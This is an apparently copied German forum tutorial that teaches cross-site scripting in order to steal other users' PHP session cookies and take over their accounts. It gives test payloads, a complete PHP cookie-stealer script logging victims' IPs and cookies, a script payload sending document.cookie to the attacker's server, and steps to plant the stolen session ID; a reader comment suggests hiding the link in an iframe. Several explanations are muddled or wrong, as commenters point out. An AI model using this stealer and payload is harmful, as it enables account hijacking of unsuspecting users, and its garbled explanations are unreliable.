Willkommen zu meinem Tutorial zum Thema XSS.
XSS ist wie ein eigener Pass; wenn Du zum Beispiel noch unter 18 Jahren bist, und einen speziellen Club benutzen möchtest musst Du Deinen Pass vorweisen. Doch leider bist Du noch unter 18 Jahren, deshalb kommst Du auf die Idee den Pass zu faelschen oder einen geklauten zu Benutzen. Im Cross Site Scripting geht das auf das gleiche Thema hinaus; Du stiehlst die PHPSESSID eines anderen Benutzers um Dir Zugriff auf das/die Panel/Website zu verschaffen.
XSS (Cross Site Scripting) ist da, um Cookies anderer Benutzer zu bekommen. Jeder Benutzer hat eine eigene Session, im PHP Falle waere dass die PHPSESSID. Bei jedem weiteren Login bekommt der Benutzer eine neue PHPSESSID zugeteilt. Das heisst, dass beim Logout die Session vom Benutzer mit der PHP Funktion session_destroy(); gelöscht wird.
Hier ein Beispiel für eine PHPSESSID:
[php]PHPSESSID=6trgq6bpg3ogdvarij1iiu12o7[/php]
Das heisst, wenn Du die PHPSESSID eines anderen Benutzers hast, und dessen Login(Session) noch offen ist, kannst Du Dir Zugriff auf seinen Account holen, aber dazu musst Du erst eine XSS Sicherheitslücke finden.
Doch wie finde ich eine XSS Sicherheitslücke?
Es ist im Grunde genommen ganz einfach. Die meisten Websiten im Web sind mit PHP geschrieben, das heisst es gibt eine Funktion namens GET!
Diese GET funktion gibt es in Formen (HTML):
[php]<form method="get" action="index.php">[/php]
Allerdings gibt es auch die POST Funktion:
[php]<form method="post" action="index.php">[/php]
Diese beide Funktionen haben einen Unterschied: Wenn Du methode GET nimmst, wird an der URL ein Parameter hinzugefügt.
[php]<form method="get" action="index.php">
<input type="text" name="suche">[/php]
Das ganze sieht dann so aus:
www.deinewebsite.de/index.php?suche=
Wenn Du das via POST funktion machst sieht das so aus:
[php]<form method="POST" action="index.php">
<input type="text" name="suche">[/php]
Aber vorsicht! Es wird kein Parameter an der Website hinzugefügt, das ist der Sinn von POST! POST erfüllt deine Funktion, aber es wird kein Parameter hinzugefügt.
Nun, diese Funktion kann mit PHP ausgearbeitet sein, in diesem Falle so:
[php]<?php
$search = $_GET[’suche‘];
?>[/php]
Wenn das ganze via Datenbank laeuft entsteht eine XSS Lücke.
Wie kann ich eine XSS Lücke finden?
Du kannst eine XSS Lücke ganz leicht finden. In unserer Form haben wir
[php]<input type="text" name="suche">[/php]
.
Nun müsste auf der Website eine Textbox sein, die die Funktion hat, die Website auf Dein Keyword zu durchsuchen.
Also heisst es für das Lücken finden: Einen Java-Script hinzufügen. Und das geht so:
Du fügst in die Textbox diesen Javascript ein:
[php]"><script>alert(‚XSS‘)</script>.[/php]
Sollte nun ein Alert kommen mit dem Inhalt „XSS“ hast Du eine Lücke gefunden. Allerdings kann es sein, dass Du dann einen Text bekommst der dann so aussieht:
[php]"You have an Error in your MySQL Syntax near ‚…."[/php]
Das ist dann kein XSS mehr, sondern schon eine SQLi Lücke(Datenbank Injection) – Das ist aber wiederrum ein anderes Thema.
Manchmal kann es sein, dass Du keinen Alert bekommst. Das kann daher sein, dass die Sicherheitslücke eventuell gefixxt (repariert) ist, oder diese Art von XSS nicht geht.
Es ist nicht so, dass Du XSS Lücken nur durch Scripts finden kannst, generell findest Du XSS Lücken durch HTML Tags.
Also sollte das Script „><script>alert(‚XSS‘)</script> nicht funktionieren, kannst Du es anders versuchen:
[php]<script>alert(‚XSS‘)</script>
<script>alert(1337)</script>[/php]
Wenn noch immer kein Alert mit Deinem Inhalt erscheint kannst Du HTML versuchen, also gibst Du in die Textbox das ein:
[php]"><font color="red"> XSS</font>[/php]
Sollte dann ein roter Text kommen, wo XSS steht, dann ist das eine Sicherheitslücke.
Wie nutze ich eine XSS Sicherheitslücke aus?
Um eine XSS Sicherheitslücke auszunutzen brauchst Du einen „Cookie-Stealer“.
Hier:
[php]<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER[‚REMOTE_ADDR‘]) && $_SERVER[‚REMOTE_ADDR‘] && strcasecmp($_SERVER[‚REMOTE_ADDR‘], "unknown"))
$ip = $_SERVER[‚REMOTE_ADDR‘];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="logs.html";
$cookie = $_SERVER[‚QUERY_STRING‘];
$register_globals = (bool) ini_get(‚register_gobals‘);
if ($register_globals) $ip = getenv(‚REMOTE_ADDR‘);
else $ip = GetIP();
$rem_port = $_SERVER[‚REMOTE_PORT‘];
$user_agent = $_SERVER[‚HTTP_USER_AGENT‘];
$rqst_method = $_SERVER[‚METHOD‘];
$rem_host = $_SERVER[‚REMOTE_HOST‘];
$referer = $_SERVER[‚HTTP_REFERER‘];
$date=date ("d.m.Y H:i:s");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: <b><font color=\"red\">$ip</font></b><br>HOST: <b><font color=\"blue\">$rem_host</font></b><br>DATUM: <b><font color=\"green\">$date</font></b><br>COOKIE: <b><font color=\"brown\">$cookie</font></b> <br><br><br>");
else
fputs($log, "IP: <b><font color=\"red\">$ip</font></b><br>HOST: <b><font color=\"blue\">$rem_host</font></b><br>DATUM: <b><font color=\"green\">$date</font></b><br>COOKIE: <b><font color=\"brown\">$cookie</font></b> \n\n");
fclose($log);
}
logData();
?>[/php]
Dieser Stealer stiehlt die IP, den Host, das Datum und natürlich die Cookies.
Damit Du sehen kannst welche Cookies Du gerade hast kannst Du in den Browser tippen:
[php]javascript:document.cookie;[/php]
oder
[php]javascript:alert(document.cookie);[/php]
Nun, wenn Du eine XSS Sicherheitslücke gefunden hast, musst Du die Seite mit Deinem Server verbinden (also mit Deinem Stealer).
Nennen wir den Stealer cookie.php auf www.meinewebsite.de
Jetzt um die Lücke auszunutzen, schreiben wir in die Textbox folgendes:
[php]"><script>document.location="http://meinewebsite.de/cookie.php?" + document.cookie</script>[/php]
Hier mal die Erlaeuterung der Fachbegriffe:
[php]document.location = Lokation // Wo hin das ganze führen soll
document.cookie = Deine Cookies[/php]
Anschliessend nimmt Dein Cookie-Stealer den Inhalt und verarbeitet es so, dass die Cookies und alles Andere auf www.meinewebsite.de/logs.html angezeigt wird.
Nun hast Du erfolgreich Cookies gestohlen! Aber fertig sind wir noch nicht. Jetzt bist Du im Besitz der Cookies und musst schnell handeln: Du musst Dir den Login verschaffen.
Dafür gibst Du im Browser das ein:
[php]javascript:void(document.cookie="PHPSESSID=")[/php]
und drückst Enter. Anschliessend einmal F5 drücken und Du bist im Account der Person.
PHPSESSID= mit Deinem Cookie auf logs.html ersetzen.
Das war es eigentlich schon.
Aber vergiss nicht: Wenn Du Dich ausloggst ist die Session weg, und Du musst erneut seine Session klauen um sich Login zu verschaffen.
Copyright by Teke @ http://hba-crew.to/threads/11275-TUT-Was-ist-XSS-und-wie-benutz-ich-es
3 Kommentare
omg
XSS ist wie ein eigener Pass…äähh nein. mit xss meint man eigentlich eigenen code iwo einzuschleusen. Der „Artikel“ strotzt ja nur vor falschen Erklärugen und Fehlern…
Chris
@omg: Allerdings. Ist schon ziemlich lächerlich.
„Nun hast Du erfolgreich Cookies gestohlen!“ Ach wirklich? Kann ich nicht erkennen. So wie es für mich aussieht, kann man sich so seinen eigenen Cookie vorlesen, das wars aber auch schon. Und das geht auch einfacher… Wessen Session soll man in dem Beispiel hier bitte geklaut haben?
Yakuza112
ja man sollte schon den Link „http://meinewebsite.de/cookie.php“ verbreiten, zwar jetzt nicht so auffällig … iframe etc ..
Seine eigene ?!